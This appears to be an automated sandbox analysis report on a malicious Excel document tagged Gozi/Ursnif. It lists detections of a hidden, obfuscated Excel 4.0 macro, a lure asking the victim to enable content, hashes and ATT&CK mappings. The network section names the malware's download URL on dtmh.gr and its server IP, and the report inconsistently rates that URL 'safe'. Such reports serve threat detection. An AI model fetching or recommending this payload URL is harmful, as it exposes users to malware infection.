Loading ...

Play interactive tourEdit tour

Analysis Report document-1422773217.xls

Overview

General Information

Sample Name:document-1422773217.xls
Analysis ID:324307
MD5:9c17e2e0f0caa1432585d40a868e1e8d
SHA1:cc78cba5e3f9d26e9cce9b5c781ae6b648fa2d16
SHA256:c0a4823b3a5f6274f4a33864575d17813b0eeca5b83df99d130ddbe7324862bd
Tags:goziSilentBuilderursnifxls

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Found Excel 4.0 Macro with suspicious formulas
Found obfuscated Excel 4.0 Macro
Yara detected hidden Macro 4.0 in Excel
Allocates a big amount of memory (probably used for heap spraying)
Document contains embedded VBA macros
IP address seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Yara signature match

Classification

Startup

  • System is w7x64
  • EXCEL.EXE (PID: 1924 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
document-1422773217.xlsSUSP_Excel4Macro_AutoOpenDetects Excel4 macro use with auto open / closeJohn Lambert @JohnLaTwC
  • 0x0:$header_docf: D0 CF 11 E0
  • 0x502a2:$s1: Excel
  • 0x5131d:$s1: Excel
  • 0x389b:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
document-1422773217.xlsJoeSecurity_HiddenMacroYara detected hidden Macro 4.0 in ExcelJoe Security

    Sigma Overview

    No Sigma rule has matched

    Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Multi AV Scanner detection for submitted fileShow sources
    Source: document-1422773217.xlsVirustotal: Detection: 34%Perma Link

    Software Vulnerabilities:

    barindex
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXESection loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileAJump to behavior
    Source: excel.exeMemory has grown: Private usage: 4MB later: 55MB
    Source: global trafficDNS query: name: dtmh.gr
    Source: global trafficTCP traffic: 192.168.2.22:49165 -> 78.46.235.88:443
    Source: global trafficTCP traffic: 192.168.2.22:49165 -> 78.46.235.88:443
    Source: Joe Sandbox ViewIP Address: 78.46.235.88 78.46.235.88
    Source: unknownDNS traffic detected: queries for: dtmh.gr
    Source: document-1422773217.xlsString found in binary or memory: https://dtmh.gr/ds/231120.gif
    Source: unknownNetwork traffic detected: HTTP traffic on port 49165 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49165

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 4Screenshot OCR: Enable Content X I Al " "," jR " A B C D E F G H I J K L M N O P Q R S T : 1 2 3 4 5 6 7
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: document-1422773217.xlsInitial sample: CALL
    Source: document-1422773217.xlsInitial sample: CALL
    Source: document-1422773217.xlsInitial sample: CALL
    Source: document-1422773217.xlsInitial sample: CALL
    Source: document-1422773217.xlsInitial sample: EXEC
    Found obfuscated Excel 4.0 MacroShow sources
    Source: document-1422773217.xlsInitial sample: High usage of CHAR() function: 18
    Source: document-1422773217.xlsOLE indicator, VBA macros: true
    Source: document-1422773217.xls, type: SAMPLEMatched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
    Source: classification engineClassification label: mal72.expl.evad.winXLS@1/5@1/1
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\F8DE0000Jump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRCF6F.tmpJump to behavior
    Source: document-1422773217.xlsOLE indicator, Workbook stream: true
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: document-1422773217.xlsVirustotal: Detection: 34%
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior

    HIPS / PFW / Operating System Protection Evasion:

    barindex
    Yara detected hidden Macro 4.0 in ExcelShow sources
    Source: Yara matchFile source: document-1422773217.xls, type: SAMPLE

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting21Path InterceptionExtra Window Memory Injection1Masquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsExploitation for Client Execution13Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemorySystem Information Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Scripting21Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Extra Window Memory Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    document-1422773217.xls34%VirustotalBrowse
    document-1422773217.xls11%MetadefenderBrowse
    document-1422773217.xls4%ReversingLabsDocument-Word.Trojan.Heuristic

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    SourceDetectionScannerLabelLink
    dtmh.gr1%VirustotalBrowse

    URLs

    SourceDetectionScannerLabelLink
    https://dtmh.gr/ds/231120.gif0%URL Reputationsafe
    https://dtmh.gr/ds/231120.gif0%URL Reputationsafe
    https://dtmh.gr/ds/231120.gif0%URL Reputationsafe
    https://dtmh.gr/ds/231120.gif0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    dtmh.gr
    78.46.235.88
    truefalseunknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://dtmh.gr/ds/231120.gifdocument-1422773217.xlsfalse
    • URL Reputation: safe
    • URL Reputation: safe
    • URL Reputation: safe
    • URL Reputation: safe
    unknown

    Contacted IPs

    • No. of IPs < 25%
    • 25% < No. of IPs < 50%
    • 50% < No. of IPs < 75%
    • 75% < No. of IPs

    Public

    IPDomainCountryFlagASNASN NameMalicious
    78.46.235.88
    unknownGermany
    24940HETZNER-ASDEfalse

    General Information

    Joe Sandbox Version:31.0.0 Red Diamond
    Analysis ID:324307
    Start date:29.11.2020
    Start time:04:57:44
    Joe Sandbox Product:CloudBasic
    Overall analysis duration:0h 4m 28s
    Hypervisor based Inspection enabled:false
    Report type:full
    Sample file name:document-1422773217.xls
    Cookbook file name:defaultwindowsofficecookbook.jbs
    Analysis system description:Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
    Number of analysed new started processes analysed:5
    Number of new started drivers analysed:0
    Number of existing processes analysed:0
    Number of existing drivers analysed:0
    Number of injected processes analysed:0
    Technologies:
    • HCA enabled
    • EGA enabled
    • HDC enabled
    • AMSI enabled
    Analysis Mode:default
    Analysis stop reason:Timeout
    Detection:MAL
    Classification:mal72.expl.evad.winXLS@1/5@1/1
    Cookbook Comments:
    • Adjust boot time
    • Enable AMSI
    • Found application associated with file extension: .xls
    • Found Word or Excel or PowerPoint or XPS Viewer
    • Attach to Office via COM
    • Scroll down
    • Close Viewer
    Warnings:
    Show All
    • Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe

    Simulations

    Behavior and APIs

    No simulations

    Joe Sandbox View / Context

    IPs

    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
    78.46.235.88document-1410525703.xlsGet hashmaliciousBrowse
      document-1410525703.xlsGet hashmaliciousBrowse
        document-1411290183.xlsGet hashmaliciousBrowse
          document-1393356833.xlsGet hashmaliciousBrowse
            document-1411290183.xlsGet hashmaliciousBrowse
              document-1393356833.xlsGet hashmaliciousBrowse
                document-1449702565.xlsGet hashmaliciousBrowse
                  document-1457177111.xlsGet hashmaliciousBrowse
                    document-1449702565.xlsGet hashmaliciousBrowse
                      document-146786230.xlsGet hashmaliciousBrowse
                        document-1457177111.xlsGet hashmaliciousBrowse
                          document-146786230.xlsGet hashmaliciousBrowse
                            document-1442977347.xlsGet hashmaliciousBrowse
                              document-1442977347.xlsGet hashmaliciousBrowse
                                document-1465459998.xlsGet hashmaliciousBrowse
                                  document-1444203221.xlsGet hashmaliciousBrowse
                                    document-1444203221.xlsGet hashmaliciousBrowse
                                      document-1466544307.xlsGet hashmaliciousBrowse
                                        document-1466544307.xlsGet hashmaliciousBrowse
                                          document-1456597551.xlsGet hashmaliciousBrowse

                                            Domains

                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                            dtmh.grdocument-1410525703.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1410525703.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1411290183.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1393356833.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1411290183.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1393356833.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1449702565.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1457177111.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1449702565.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-146786230.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1457177111.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-146786230.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1442977347.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1442977347.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1465459998.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1444203221.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1444203221.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1466544307.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1466544307.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1456597551.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88

                                            ASN

                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                            HETZNER-ASDEdocument-1410525703.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1410525703.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1411290183.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1393356833.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1411290183.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1393356833.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1449702565.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1457177111.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1449702565.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-146786230.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1457177111.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-146786230.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1442977347.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1442977347.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1465459998.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1444203221.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1444203221.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1466544307.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            document-1466544307.xlsGet hashmaliciousBrowse
                                            • 78.46.235.88
                                            https://ofd.beeline.ru/check-order/oxjsoinmqGet hashmaliciousBrowse
                                            • 88.99.149.88

                                            JA3 Fingerprints

                                            No context

                                            Dropped Files

                                            No context

                                            Created / dropped Files

                                            C:\Users\user\AppData\Local\Temp\47DE0000
                                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):315628
                                            Entropy (8bit):7.985562745342939
                                            Encrypted:false
                                            SSDEEP:6144:6qNrFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+M8:6sFPM8R3AsB+bjej/9cT
                                            MD5:20E37BABB2859E82C5DFC80AA32002B7
                                            SHA1:DDA74D2148501410D723558E3925AD8A8B320A7A
                                            SHA-256:7352EBF6929B4CB66ED8FE35E8FCE6FE40C61C1E2F738979C712A860C9D2DF4C
                                            SHA-512:2A0CCFED5CD04A6E3EBE321FE25225AAA5B0E0B562F5BA25C26042FFD3E2898ECB87C8278DF4BCB507CD2BECFBE35D1720253737D05A7A89C76BFC9FB3305649
                                            Malicious:false
                                            Reputation:low
                                            Preview: .V.N.0..4..y;J\@B.QS....A.>..o..~.6..=.nH..4DTb..s......j.U..>HkjrV.H..[!MS...?.OR..`.......Z|.6..:...M.I...Ei.-h.*.....z."...:...z>.]RnM...8.b..V.Q..f..wN...z.^...sNI."..OF.DJ.ZI...G..Up...-@.r^.......@.AMg.....sz~..A..d.f.C..\Jh..?0.w....9t..8.^.(n......F.g..Kk..q....%l8.*'Vi..1l...4...(ed..t........K.d.....T#}.{.Lo.+........"...&.2=..2.=../.^*..,#..q3...._.fD0..p.9..).....M6'7.{...9Y....s.Ft9S...}........g.z...E....v..........rh....YM..tZHM[.8.M.O.........PK..........!.C.T.....e.......[Content_Types].xml ...(..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sun Nov 29 11:58:40 2020, atime=Sun Nov 29 11:58:40 2020, length=12288, window=hide
                                            Category:dropped
                                            Size (bytes):867
                                            Entropy (8bit):4.453954096081172
                                            Encrypted:false
                                            SSDEEP:12:85QHLgXg/XAlCPCHaXgzB8IB/FUfvX+WnicvbS3ubDtZ3YilMMEpxRljKCcTdJP8:85A/XTwz6I8vYem3iDv3q0rNru/
                                            MD5:C0C21BD8036CC65F024D16226E0A24E7
                                            SHA1:663E4597AC1A4AA590576F63F0BB71ACE99640EA
                                            SHA-256:5AC5B004799F914613F3395F8B6D0CD5EE393BE0797A667AA941A42A36E52E12
                                            SHA-512:AABF60D87C6CAD868B3AB3129F7CA7EAC41831B1EF8CD5C9E74518853E287060599D3B7E038066CCEF3774D1796A560BC85D24A91B6C1DF2A22FF30800ED1CCA
                                            Malicious:false
                                            Reputation:low
                                            Preview: L..................F...........7G....X\O.....X\O....0......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1.....}QUg..Desktop.d......QK.X}QUg*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\045012\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......045012..........D_....3N...W...9r.[.*.......}EkD_....3N...W...9r.[.*.......}Ek....
                                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1422773217.LNK
                                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Sun Nov 29 11:58:40 2020, atime=Sun Nov 29 11:58:40 2020, length=343040, window=hide
                                            Category:dropped
                                            Size (bytes):4236
                                            Entropy (8bit):4.509490555291659
                                            Encrypted:false
                                            SSDEEP:96:8N/XLInoV0Qh2N/XLInoV0Qh2N/XLInoV0Qh2N/XLInoV0Q/:89InJQE9InJQE9InJQE9InJQ/
                                            MD5:7E5892BF395BCAD22CDD0AA660B379D4
                                            SHA1:CE8974A1B28A0F1EEE0DA10678DFF109F82C0CE6
                                            SHA-256:6B4428D0F6E28A52BF6693AD594C34E07BD0D80D052A7C57CC4BEDB496D7DF78
                                            SHA-512:B18395ABF36231EE48DBD865DB6C94F73950C973D3385152D5513C5D2A31CCDA37B07C1D9395A8BF3495E569A31C210AB1AF9F8754A852763012313EECE7896E
                                            Malicious:false
                                            Reputation:low
                                            Preview: L..................F.... .......{....X\O....Eb\O....<...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....x.2..0..}QRg .DOCUME~1.XLS..\.......Q.y.Q.y*...8.....................d.o.c.u.m.e.n.t.-.1.4.2.2.7.7.3.2.1.7...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\045012\Users.user\Desktop\document-1422773217.xls.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.4.2.2.7.7.3.2.1.7...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......045012..........D_....3N.
                                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                            File Type:ASCII text, with CRLF line terminators
                                            Category:modified
                                            Size (bytes):232
                                            Entropy (8bit):4.665563250332379
                                            Encrypted:false
                                            SSDEEP:6:dj6Y9LVhQXgELVhQXUY9LVhQXgELVhQXUY9LVhQXgELVhQXUY9LVhQXs:dmQi9Qi9Qi9Q5
                                            MD5:680B392EF219C3AAE524C7AEBE94B5A1
                                            SHA1:874A6C74D697CA80112D9BF2848BAED1DEBD82A5
                                            SHA-256:F178965D438EDA6CE10A9A26AF803B279B1BFC64D1796241E1BBA490AE945234
                                            SHA-512:F92218FE03B638316AD7D0EC99C8E9D9A047DDBAAD3513046C008D9AA53C5316D5C99D6B086E06282AB42168E774A7B0E429DF62D060EF93481041969DE72D10
                                            Malicious:false
                                            Reputation:low
                                            Preview: Desktop.LNK=0..[xls]..document-1422773217.LNK=0..document-1422773217.LNK=0..[xls]..document-1422773217.LNK=0..document-1422773217.LNK=0..[xls]..document-1422773217.LNK=0..document-1422773217.LNK=0..[xls]..document-1422773217.LNK=0..
                                            C:\Users\user\Desktop\F8DE0000
                                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                            File Type:Applesoft BASIC program data, first line number 16
                                            Category:dropped
                                            Size (bytes):420629
                                            Entropy (8bit):7.107945344182812
                                            Encrypted:false
                                            SSDEEP:6144:KcKoSsxzNDZLDZjlbR868O8KiA4XkXOn2xEtjPOtioVjDGUU1qfDlavx+W+LIfdd:8izo8RnsIROnr6n75YUA
                                            MD5:AE8AA7129AF8F0C7A373EC2B37338010
                                            SHA1:351ECBCCBBAE15E5984B238109F8A981B27764AB
                                            SHA-256:4D1527221B8A4E69E52F65677C8219DE00EBBE312D9837B2BDEC5FCC9EBEDB39
                                            SHA-512:A78F917E2056255C00E32D5BDE9D4E299C45D1DEAA9992EF8CA738D6CC8E05702D293FC631ADAF5CC0431E6FF231F023C99A06E434F7F165D43725F3A08D2F0A
                                            Malicious:false
                                            Reputation:low
                                            Preview: ........g2.........................\.p.... B.....a.........=..........................................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1

                                            Static File Info

                                            General

                                            File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Nov 26 09:47:56 2020, Security: 0
                                            Entropy (8bit):7.5197742536160055
                                            TrID:
                                            • Microsoft Excel sheet (30009/1) 78.94%
                                            • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                            File name:document-1422773217.xls
                                            File size:339968
                                            MD5:9c17e2e0f0caa1432585d40a868e1e8d
                                            SHA1:cc78cba5e3f9d26e9cce9b5c781ae6b648fa2d16
                                            SHA256:c0a4823b3a5f6274f4a33864575d17813b0eeca5b83df99d130ddbe7324862bd
                                            SHA512:09905a5c6549b0627125d1b5c43960c87c223c80365d0ec399505446c4577f8d8908ae4eeb72f3b212a8bab018e38981ced30faab20abe121e793c0aa0c518e0
                                            SSDEEP:6144:WcKoSsxzNDZLDZjlbR868O8Kfc03pXOFq7uDphYHceXVhca+fMHLty/x2zZ8kpTt:7izo8RnsIROnr6n75YJ
                                            File Content Preview:........................>......................................................................................................................................................................................................................................

                                            File Icon

                                            Icon Hash:e4eea286a4b4bcb4

                                            Static OLE Info

                                            General

                                            Document Type:OLE
                                            Number of OLE Files:1

                                            OLE File "document-1422773217.xls"

                                            Indicators

                                            Has Summary Info:True
                                            Application Name:Microsoft Excel
                                            Encrypted Document:False
                                            Contains Word Document Stream:False
                                            Contains Workbook/Book Stream:True
                                            Contains PowerPoint Document Stream:False
                                            Contains Visio Document Stream:False
                                            Contains ObjectPool Stream:
                                            Flash Objects Count:
                                            Contains VBA Macros:True

                                            Summary

                                            Code Page:1251
                                            Author:
                                            Last Saved By:
                                            Create Time:2006-09-16 00:00:00
                                            Last Saved Time:2020-11-26 09:47:56
                                            Creating Application:Microsoft Excel
                                            Security:0

                                            Document Summary

                                            Document Code Page:1251
                                            Thumbnail Scaling Desired:False
                                            Contains Dirty Links:False
                                            Shared Document:False
                                            Changed Hyperlinks:False
                                            Application Version:917504

                                            Streams

                                            Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
                                            General
                                            Stream Path:\x5DocumentSummaryInformation
                                            File Type:data
                                            Stream Size:4096
                                            Entropy:0.367004077607
                                            Base64 Encoded:False
                                            Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . 2 . . . . . . . . . 3 . . . . . . . . . 1 . . . . . . . . . 4 . . . . . . . . . 5 . . . . . . . . . . . . . . . . . .
